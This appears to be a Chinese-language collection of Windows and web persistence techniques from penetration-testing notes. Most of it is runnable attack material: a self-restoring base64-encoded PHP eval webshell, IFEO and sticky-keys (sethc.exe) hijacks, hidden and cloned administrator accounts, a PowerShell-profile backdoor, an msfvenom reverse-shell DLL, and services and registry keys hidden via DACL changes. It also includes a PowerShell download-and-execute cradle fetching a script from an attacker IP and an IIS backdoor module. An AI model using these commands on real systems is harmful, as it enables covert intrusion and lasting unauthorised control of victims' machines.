ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去
$interval = 5; // 每隔*秒运行
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+";//c
$txt=base64_decode($txt);
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while (true);
?>
进入注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File
Execution Options
在下面添加一项,这里的命名与后续要触发的可执行文件程序文件名一致,这里我新建coleak.exe为后门文件,然后在coleak.exe的右侧新建一个Debugger,在输入值的栏目中填入你的后门绝对路径径,修改一个文件的文件名为coleak.exe 双击 即可触发。
运行命名为coleak.exe的文件时将会被替代为运行s.exe
输入gpedit.msc 打开组策略,打开 windows设置 脚本 里面又关机和开机
在C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup上传s.exe(或者直接选择c盘中的s.exe), 启动时选择该文件即可
更改sethc.exe拥有者 为administrator
move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak
Copy C:\s.exe C:\windows\system32\sethc.exe
创建一个带$符号的账户,因为在常规cmd下是无法查看到的。
net user coleak$ p-0p-0p-0 /add
net localgroup administrators coleak$ /add
net users
打开注册表 HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User
3ea是coleak$用户 1F4是超级管理员的值
将1F4下F项的值复制到3ea下F项里面,替换原有数据。然后导出coleak$以及3EA
ner user moonsec$ /del 删除这个用户 再导入注册表 用户已经不显示在这个面板了。
Powershell配置文件其实就是一个powershell脚本,他可以在每次运行powershell的时候自动运行,所
以可以通过向该文件写入自定义的语句用来长期维持权限。
依次输入以下命令,查看当前是否存在配置文件。
echo $profile
# C:\Users\Administrator\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
Test-path $profile
# False
New-Item -Path $profile -Type File –Force
设置1.bat
net user coleak 123456 /add & net localgroup administrators coleak /add
$string = 'Start-Process "C:\1.bat"'
$string | Out-File -FilePath $profile -Append
more $profile
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=12345 -f dll > shell.dll
copy C:\temp\shell.dll C:\Windows\System32\test.dll
cd C:\Windows\System32\
Monitor.exe
cmd创建自启动服务
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\s.exe" depend= Tcpip obj= Localsystem start= auto
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
查询不到服务
sc query |findstr ".NET CLR Networking 3.5.0.0"
get-service | findstr ".NET CLR Networking 3.5.0.0"
sc query ".NET CLR Networking 3.5.0.0" #拒绝访问
修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.NET CLR Networking 3.5.0.0
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access =[System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu
bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang
ePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
}
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.10.128/1.ps1'));Server-Sddl-Change -Name '.NET CLR Networking 3.5.0.0'"
web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<modules>
<add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" />
</modules>
</system.webServer>
</configuration>
在网站目录下新建一个bin文件夹 这个文件夹 存放dll集 把IIS_backdoor_dll.dll存放在这里面,打开 IIS_backdoor_shell 把网址填写进去即可执行命令
Attrib +s +a +h +r s.exe
Easy File Locker
如何清除?
1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。
indow隐藏技术